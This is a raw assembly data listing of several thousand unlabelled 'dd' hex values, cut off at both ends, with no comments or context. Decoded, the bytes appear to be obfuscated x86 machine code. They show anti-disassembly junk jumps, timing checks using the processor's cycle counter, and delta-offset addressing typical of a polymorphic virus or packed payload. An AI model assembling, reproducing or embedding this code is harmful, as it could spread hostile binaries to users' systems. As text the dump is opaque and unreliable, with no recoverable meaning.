0B9958B05h, 6105EA02h dd 0D9BD8361h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h dd 0B8C08B53h, 438h, 0D798589h, 9D8D05EAh, 5ECDDF5h, 585BD3FFh dd 2EE5BD83h, 740005EAh, 0B8535017h, 438h, 0D798589h, 9D8D05EAh dd 5ECDAE4h, 585BD3FFh, 0AD9D8950h, 5905EA24h, 12E8C08Bh dd 0AF000000h, 0FDE9A3E4h, 33A4B813h, 0BD73A3Dh, 93237C17h dd 0E85FF994h, 8D2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0B4C35242h, 82A720DFh, 0BF66871Dh, 858962CCh dd 5EA2CBDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 75C35646h, 1F64CDE5h, 0AFF1BF66h, 87DE8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 71C8C08Ch, 2882C85h, 7185899Ah, 6A05EA00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0DD68C353h, 0BAEF8166h, 82CE8B3h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 628704C3h dd 0B0B2CF81h, 858920D7h, 5EA0C29h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0CCC35747h, 1CA60A48h, 43F0B2C5h dd 3DF18170h, 0E862E30Dh, 7D2h, 6E99529h, 858905EAh, 5EA1189h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D4C35141h dd 62F3367Eh, 8F0FFE8Bh, 6, 0AC9B58Bh, 8D0905EAh, 5EA12CDh dd 78DE8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0B218E7Eh, 0EA2081B5h, 89CB8B05h dd 0EA258185h, 0BE805h, 0F1BD0000h, 121BAA52h, 0D5CE02F4h dd 0C4EF81D2h, 5910435Fh, 745E8h, 0B9B58B00h, 8905EA07h dd 0EA1BC985h, 5CD98105h, 0E832B56Bh, 72Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 89C35242h, 8B53EF39h dd 0EA2EDDB5h, 85895F05h, 5EA1551h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 87C35040h, 0D650C75h, 0B91E629Ah dd 67EC5C4Bh, 122DBD8Bh, 0CFE805EAh, 0F000006h, 0B589CAB7h dd 5EA1D5Dh, 0BFD8589h, 6A05EAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 6FCF33C3h, 69DE8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 6D97EB5Eh, 0FEF0D7E9h, 0BF58589h, 69B105EAh, 66DE8h dd 0F08B6600h, 2EAD8589h, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0AF49AC3h, 0FAD7A3AAh dd 81CE4CCFh, 0DD4117D6h, 634E807h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 1DC80CC3h dd 6602745h, 9589B448h, 5EA1109h, 0E958589h, 6A05EAh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 67B5A9C3h, 0EE6E4679h, 85897434h, 5EA1325h, 5D5E8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 570D500Ah, 1ACF3866h, 89FB8BFDh, 0EA0C7185h dd 49B58B05h, 0E805EA31h, 59Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 80C35646h, 7F9D937Ah, 0B1BDC236h dd 3D85896Ch, 6A05EA00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 6783C356h, 0BE66B227h dd 4BE84D8Ch, 60000005h, 25D18D2Bh, 0CE8105EAh, 51D39D0h dd 19858961h, 3305EA1Ch, 0EA0EF18Dh, 52CE805h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0AE9993C3h, 3800Fh, 0B70F0000h, 958589CFh, 6A05EA0Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 2C7BC350h, 69039EA6h, 0CAE63B43h, 3DB58B60h dd 8005EA1Ch, 0E861E9E4h, 4CAh, 0A5B52960h, 8B05EA10h dd 858961C1h, 5EA3151h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0EBC35141h, 0A84574CCh, 0EA601B50h, 29F88BB8h dd 0EA1CE5BDh, 0E900B005h, 8, 1B52885Ch, 12889C7Ah, 6AD8B60Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0C7A1C352h, 76FCDB5Eh, 8D014CD9h, 5EA15CDh dd 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 495DF507h, 0CDDBD521h, 6AC38Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 382E90C3h, 0F1C1FFC7h, 8BBBFC0Eh, 0EA2D518Dh, 49958905h dd 0C105EA0Bh, 0EE904E8h, 4E000000h, 0C68E1DB3h, 9D1B4B94h dd 0CE9EEB77h, 0E2F76619h, 0BFF5BF66h, 6AD82Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 6A34BC3h, 0D11D7CD9h, 0E0BE297Eh, 50114B5Fh, 4D3666BFh dd 241C8972h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 7DC35141h, 4CF82A46h, 0BD8B4E01h, 5EA3155h dd 2AC595FFh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 5F45C5C3h, 0F0DF9FDh, 483h, 0A3BE6600h dd 6A5B94h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 958D8BC3h, 5EA0669h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 68C35040h, 0EDA83839h, 0D98D8B35h dd 6605EA0Ch, 1A89F88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 56C35747h, 32DC4BF7h, 0B3D0C713h, 68E0Fh dd 0BD8B0000h, 5EA2A15h, 6A044289h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B34AC351h dd 9589E7D9h, 5EA2AF1h, 105958Dh, 0BF6605EAh, 1A893161h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FBC35141h dd 5DC9FE13h, 0ADBCE135h, 89F9BF0Fh, 0BD010442h, 5EA2C59h dd 121D958Dh, 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 6BE7E0C3h, 87C4E18h, 75BE66A3h dd 5DB5899Ch, 8905EA25h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 726ABB18h, 0A6C51888h dd 5BD89C5h, 6605EA23h, 8920A2BFh, 6A0442h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0BC3F92C3h dd 0B54A913h, 0EA2C29B5h, 89958D05h, 8105EA15h, 6A04DBD6h dd 6A1A896Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 4BA5C356h, 0A8614B2Ah, 6A044289h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 3F9BC351h, 3FB9F50Fh, 0F876E0D0h, 309D958Dh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B44A7EC3h, 0DC969443h, 1A89CDAFh, 6A044289h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 62FAC356h, 297313BEh, 0EA28FDB5h, 15958D05h dd 6005EA2Fh, 56BE66FCh, 1A896161h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 33C35242h, 0E5847EB2h, 0FCF8BE6h dd 8Ah, 4428900h, 1C71958Dh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 188872C3h dd 0A4C5A6C5h, 1A8961B5h, 1E89B589h, 428905EAh, 14870F04h dd 0E8000000h, 8, 2D06AFCFh, 0DF13CA89h, 32DBD89h, 8D5F05EAh dd 0EA0F2195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0C9A41EBFh, 5D0D268Bh dd 11BD8BD1h, 0E805EA1Ch, 0Ah, 2D45E339h, 78AFE186h, 850F93A9h dd 1, 1A8959F5h, 0AE9h, 0EC9E1900h, 84EC472Dh, 89BF49A3h dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0C825A8C3h, 0B70FCABCh, 10DE9FAh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 66663DC3h, 0D1816619h, 6A63F1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0A0C35545h, 0B501CA68h, 5EA2565h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 5101D9C3h, 0EF4B28C8h, 0E31AB91Bh, 8B607F33h dd 0EA13998Dh, 1BBE6605h, 6A6180h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 2C35646h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 5369F3C3h, 0F92FBF9Dh, 78E9816Fh, 0FF532F2Eh, 0EA2E1995h dd 6E805h, 7A570000h, 27E02590h, 6AC35Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 29C14C3h dd 7FDA63E6h, 60D31AADh, 4656BF66h, 3111958Bh, 8A6105EAh dd 56006AC5h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 4F5CA8F1h, 0A2D59E60h, 9D091DE7h, 5EA06FDh dd 820FC08Bh, 6, 32258D8Bh, 0BD8305EAh, 5EA13D9h, 83097500h dd 0EA2EE5BDh, 19740005h, 0C08B5350h, 438B8h, 69858900h dd 8D05EA07h, 0ECDE5C9Dh, 5BD3FF05h, 0E5BD8358h, 5EA2Eh dd 53501774h, 438B8h, 69858900h, 8D05EA07h, 0ECDAFD9Dh dd 5BD3FF05h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 3943875Bh, 75F29051h, 5D8D8B89h dd 0F905EA0Bh, 0F5E1EAB9h, 8DC08B22h, 0EA298D85h, 0CE905h dd 85EA0000h, 0B0505797h, 89357576h, 0E8504422h, 8, 0C74A4302h dd 0ECEACC61h, 895FDA8Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 6A46C3h, 0B919D8Bh, 6A05EAh dd 13E956h, 68290000h, 96EF108Dh, 0EB2FC195h, 5246F5B6h dd 2C1D19h, 858D5FFEh, 5EE6554h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 67C35747h, 0F3A68B49h, 835F5252h dd 958905C0h, 5EA108Dh, 6E990h, 87C00000h, 85B434AEh, 906BB750h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 55C35545h dd 800F701Dh, 6, 25D19D2Bh, 9D8905EAh, 5EA15B1h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0D53CC2C3h, 0F21A0208h, 0E9F53087h, 8, 0B798489Ah, 0E4ADB964h dd 8D89006Ah, 5EA2DF5h, 23E995FFh, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D8B42C3h dd 5EA1E69h, 0C759D8Bh, 13E905EAh, 8A000000h, 73C8321Bh dd 3A6F5B7Eh, 840EC961h, 85E1BCF5h, 8D8D24DCh, 5EDD89Dh dd 0CD78057h, 83D1FF5Fh, 0EA02D1BDh, 850F0105h, 69h, 28B0Fh dd 0E3B30000h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0B6F7DBC3h, 66C3AB99h, 262CDF81h dd 1399D03h, 605005EAh, 13E957h, 0C9030000h, 4A73228h dd 8A9A2542h, 0B81C8BAFh, 0A31633E7h, 0BE665823h, 896152DDh dd 0B5892404h, 5EA0875h, 163D95FFh, 0B70F05EAh, 0E41E9FFh dd 0E80000h, 5D000000h, 655EED81h, 0BB6605EEh, 6ADA26h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0B7D387C3h, 15BD8921h, 8D05EA00h, 0EDC38785h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 800F6E08h, 5, 0E2CF8166h, 6E85004h, 0ED000000h, 9F03D4h dd 5BD88BABh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 14CCC352h, 19E20E3Fh dd 939D1F4Dh, 1810Fh, 64F80000h, 35FFh, 0BD8B0000h, 5EA0711h dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D9BEC350h, 0E18E3E84h dd 0F94EDC27h, 1C4985FFh, 3CB305EAh dd 0ED9D8B57h, 5B05EA02h, 0FD8AFF6Ah, 2CBDB5FFh, 6A05EAh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0EA17D9C3h, 0D98B6685h, 9B58953h, 5B05EA1Eh, 144995FFh dd 0F4E905EAh, 0BB000000h, 671CB36Fh, 0BD8900B0h, 5EA0C2Dh dd 8B0F70E6h, 0 dd 613C71E4h, 0D5830Fh, 9D8B0000h, 5EA31A1h, 0FC8B60Fh dd 6BAFABFh, 0FC000000h, 9589C18Bh, 5EA1DA5h, 0B304E8C1h dd 0E2F7669Bh, 306D8D09h, 890F05EAh, 6, 0FEDCEF81h, 0C82B3096h dd 59DBD8Bh, 0D18B05EAh, 0CE9h, 7E900h, 0DA40000h, 11C08B63h dd 69858B50h, 0F505EA06h, 0BF07C083h, 70F9CC50h, 6000C083h dd 1C31858Bh, 3B6105EAh, 16830FD0h, 0BB000000h, 63573A6Ch dd 31C18D89h, 54E905EAh, 81000000h, 89D117EBh, 718D8B4Bh dd 2305EA1Eh, 0EA0FC19Dh, 1E18305h, 39840Fh, 9D8B0000h dd 5EA0B91h, 10E9h, 0FD75E00h, 0EC40F21Dh, 0A35B72EFh dd 0CAA42196h, 71A583A0h, 0FE05EA1Eh, 3F58C781h, 95891A8Fh dd 5EA0669h, 1A7DBD01h, 0E905EAh, 8D000000h, 0EDEEDBB5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F28F8FC2h, 0E99C92EAh, 11h, 79F76425h dd 8E91436h, 512E1B66h, 3935253Fh, 6A006AC3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7601C353h, 0F17A914h, 58Ah, 1ACABB00h, 95FF3248h, 5EA1015h dd 810Fh, 0F7B90000h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0BD68C352h, 0F38050A3h dd 0FCE183D4h, 0F99D2Bh, 6AFC05EAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E8ABC352h dd 5, 70A4975Ch, 75BD8953h, 5B05EA23h, 11119D8Bh, 0B805EAh dd 0F000000h, 68Bh, 0B9B50100h, 0BA05EA06h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 89C35747h dd 329FE5CFh, 33ADEF04h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 115843C3h, 8D0Fh, 9D8B0000h, 5EA2CB9h, 21880Fh, 0E8600000h dd 0Fh, 685A7BAFh, 1B4A1F84h, 9AB79EF2h, 5F5858C4h, 5E9h dd 0ADE93300h, 0D617154h, 88h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 7FC35343h, 1C07DCAEh, 8B2FB354h dd 0EA0ADD95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 418ACC01h, 8B097C85h dd 0EA2C599Dh, 0CD8D8B05h, 6A05EA0Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C1BFC350h dd 0C558D89h, 8B5005EAh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0AF58D09h, 0BE905EAh, 7F000000h, 2EB586B9h dd 73470ACBh, 6A826Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 4FE57FC3h, 11E9h, 56142500h, 51CE6F5h dd 0E0BEB1F8h, 4FC7C806h, 0BD83C525h, 5EA0819h, 7F840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 2E73C352h, 5858999h, 0B805EA14h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 3C35646h dd 0B0FBB735h, 68B0F52h, 8B000000h, 0EA3171BDh, 8D8D5F05h dd 5EA4C21h, 0FC4830BBh, 81666029h, 8136A8F7h, 0EFD271D8h dd 0E1FF612Eh, 3005BD23h, 895105EAh, 0EA02718Dh, 0BD835F05h dd 5EA25F5h, 55840F00h, 8B000004h, 0EA0B719Dh, 12E905h dd 17FF0000h, 2F05ADC0h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h dd 25F5BD83h, 0F0105EAh, 44684h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 4703BC4Fh dd 759D8B92h, 8305EA30h, 0EA25F5BDh, 860F0305h, 3DDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 31C35646h, 0B9D6D36Dh dd 945FA69Fh, 0BFFAB70Fh, 1C587757h, 698D8960h, 6605EA2Eh dd 14E9D98Ch, 0AD000000h, 279CA73Ah, 48CE9F91h, 7AD3F14Ch dd 421FCCE4h, 0FC676AFEh, 8904E180h, 0EA0BBDBDh, 0FC90A05h dd 10884h, 29858B00h, 3105EA16h, 0EA1BA18Dh, 35853305h dd 0E905EA15h, 14h, 75FC30B8h, 8BC46BF3h, 7DDFA753h, 7CA2A827h dd 675EBB1Ch, 24048950h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 60AFD9C3h, 0E381663Eh dd 0E8F5BCFCh, 4, 1F03FFh, 0BE9h, 1E6A4F00h, 0E333A2E9h dd 395C3247h, 8BFB8B50h, 0F042444h, 0A8Dh, 52506000h, 585A310Fh dd 8B61D68Bh, 7DFDBB00h, 448926EFh, 9E90424h, 15000000h dd 376C7246h, 3756365Bh, 0EDBD8B58h, 0FF05EA25h, 0EA320D95h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BE3E682h, 0EA1685BDh, 0E0858905h, 8905EDD9h dd 0EA0F51B5h, 1C2E905h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0F15927C3h, 0D83A3B6h dd 8EB8166h, 0D8858BB6h, 0BF05EDD9h, 253FF23Ch, 1800C7h dd 0F7810000h, 27718C4Fh, 0D9DCB58Bh, 6A05EDh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 25A0CBC3h, 0F061C330h, 29E5858Bh, 6A05EAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 5D7803C3h dd 8880F2Eh, 56000000h, 19ED9D29h, 0F5F05EAh, 68Eh, 0A59D8B00h dd 8905EA0Eh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0BDAD0836h, 0CF358B96h, 0DE8h, 71DB1900h dd 984D0856h, 6229D882h, 5BF5EECBh, 1629858Bh, 0BF6605EAh dd 4689219Fh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0BD8B430Fh, 5EA1579h, 2D8D8D01h dd 509605EAh, 0F88B6652h, 890F310Fh, 2, 585ABEB7h, 47BF6650h dd 0FE8B96B1h, 0D9D8B5FFh, 8B6605EDh, 0F2C968D8h, 5053F0CBh dd 6C3ABB52h, 310F2383h, 310F5250h, 585A585Ah, 2404815Bh dd 0F531136h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 23C35141h, 81AADF5Eh, 96E87AD3h, 0E0858D7Ah, 6005EDD9h dd 1699B529h, 3AB405EAh, 0D8BB9061h, 502A2FBAh, 0FB8B5250h dd 890F310Fh, 0 dd 6690585Ah, 0CE8FB8Bh, 8D000000h, 0F6A4CDA5h, 18135DC7h dd 5BA96B66h, 320D95FFh, 8D8905EAh, 5EA28FDh, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 74D0F20Dh, 0F616EC39h, 2830Fh, 0DA8B0000h, 85C7DF8Bh dd 5EA25F5h, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 91C35343h, 0F607C94h, 8Ch, 12E900h, 0CA610000h dd 91A7C5FBh, 499CF11Fh, 0E1098422h, 0E69C58C8h, 0E0BD8361h dd 5EDD9h, 57840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0F43F9AC3h, 4E20F059h dd 49E99854h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1F68C357h, 0B3BE820Eh dd 8166398Dh, 29C0F2DBh, 0EA12ADBDh, 0C305005h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0EBC35343h, 0DF8B66BCh, 61CF8166h dd 52006A8Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BD833335h, 5EA25F5h, 11850F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0C5F3C355h, 2E1DBD8Bh, 816605EAh, 833190CBh dd 0EDD9E0BDh, 840F0005h, 3DCh, 0E0B5FFF8h, 8905EDD9h dd 0EA101D8Dh, 8D95FF05h, 6A05EA12h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 14D3C356h dd 23C6A714h, 614E175Dh, 2AD98D89h, 0B58B05EAh, 5EDD9D4h dd 6C7DA8Ah, 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 41C35646h, 8FCE5C99h, 0BC99529h, 8B5005EAh dd 243489D8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2C35747h, 3070AB38h, 8E9E2BA4h, 0D9E0B5FFh, 6A05EDh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 47CAA5C3h, 20D59D8Bh, 95FF05EAh, 5EA3269h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 96C35545h, 0B625F682h dd 7E8697Fh, 0F3000000h, 12A9A9FEh, 0D3805BAAh, 0B58B5F47h dd 5EDD9D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0E0C35242h, 0F2CB269h, 81858B18h, 8B05EA08h, 0EA2D019Dh dd 7E905h, 0DA4D0000h, 3AE10BB9h, 0C48689E3h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 6749C357h, 0EE631A1Dh, 9D8BF697h, 5EA0069h dd 0ADD958Bh, 9D8B05EAh, 5EA0969h, 0E904C283h, 5, 3677B202h dd 205089CAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0BDC35747h, 89FD2F43h, 6713D27Ah, 2B019D8Bh, 850105EAh dd 5EA1BC5h, 9D8B6060h, 5EA0EFDh, 0EF08166h, 8D61617Ah dd 0EDEB6785h, 6880F05h, 89000000h, 0EA24FD8Dh, 0B8868905h dd 0F000000h, 68Bh, 70DB8100h, 6A226917h, 28BB6600h, 0E0B5FF2Ah dd 6A05EDD9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FF23C351h, 0EA163D95h, 319D8B05h dd 9605EA1Bh, 52505060h, 585A310Fh, 0D88B6659h, 52505061h dd 310FFB8Bh, 0D88B6653h, 96585A5Fh, 3519C5BFh, 0E0B5FF65h dd 6A05EDD9h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 7280C350h, 7A6E1AD6h, 3CB7DF8Bh dd 15A995FFh, 8D8905EAh, 5EA2AB5h, 115DBD83h, 0F0005EAh dd 1184h, 0D9D0900h, 9605EA0Bh, 9650D98Bh, 1BD98D89h, 0B5FF05EAh dd 5EDD9E0h, 1C05BD8Bh, 95FF05EAh, 5EA1CC9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 32C35545h, 0CE8E429h dd 59000000h, 0E7A9C471h, 0E20835EAh, 0F580D03h, 689h dd 0D58D8900h, 5F05EA31h, 0D9E0B5FFh, 6A05EDh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 65D84EC3h, 0EF7E9FC1h, 95FFA294h, 5EA230Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E0C35343h, 0BD284ABAh dd 9D8BE9E3h, 5EA0911h, 631BD83h, 0F0205EAh, 5184h, 0DEBF0F00h dd 0C95858Bh, 0D4BB05EAh, 602A36E4h, 0DE8h, 0A4840F00h dd 449DD6CFh, 3005241Bh, 8D8BF2E3h, 5EA0131h, 0C6615Ah dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0E969B9E8h, 0E7FFBB4Bh, 85C75519h, 5EA097Dh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3C35343h dd 60590414h, 12E938h, 64F00000h, 89F2BC10h, 7F066101h dd 41E3D539h, 5774965Ch, 0FFF2F7E9h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 9B418801h dd 4C8BFFB1h, 0C18BFC4Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0BEC35545h, 17698F4Ch, 1F16B7BAh, 8DFE8B2Ch dd 0EA298D85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8D0D565Ch, 0A1F30B63h dd 0FE9h, 0A7CE4400h, 4458E050h, 1270FD74h, 0B0DCD18Bh dd 2F458529h, 509005EAh, 2860F52h, 60000000h, 60310F61h dd 82FBBE66h, 0BE8h, 0D5AC1F00h, 0B8ACD438h, 0F9FEC317h dd 585A615Ah, 0AB33BB50h, 609042F9h, 61BDDC80h, 10E8006Ah dd 0E7000000h, 0E1A35C5Ch, 0EC076C22h, 0E60A8844h, 0FEE31FBh dd 286h, 5B5F5600h, 0BD8B006Ah, 5EA02C1h, 75BC858Dh, 6A05EEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 3F86C3h, 6840F0Bh, 89000000h, 0EA30A58Dh, 5E805h, 7BA90000h dd 0F467D8Ch, 68Ah, 0B99D8B00h, 5F05EA0Bh, 6A05C083h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E8E2C351h, 14h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h dd 9C77383Eh, 829ED717h, 318D0160h, 6005EA13h, 905B6161h dd 0A92BBF66h, 90BB6650h, 3ABF9022h, 6A13E7F8h, 0E6BF00h dd 6A3BFEh, 362CF381h, 95FF04F1h, 5EA23E9h, 17058D01h dd 8D8D05EAh, 5EDD89Dh, 5EDB531h, 0D1FF05EAh, 0D1BD83F5h dd 105EA02h, 0B3850Fh, 810F0000h, 8, 2DBD8B50h, 5B05EA11h dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 3B29F3C3h, 0FAB70F64h, 9E850h, 6F030000h dd 0CE0AE012h, 5FC13FCDh, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5FC6C357h dd 0EA62EE74h, 0B890Fh, 8B0F0000h, 5, 5ACB8166h, 0DD9D8916h dd 0FF05EA19h, 0EA163D95h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 773F93FCh dd 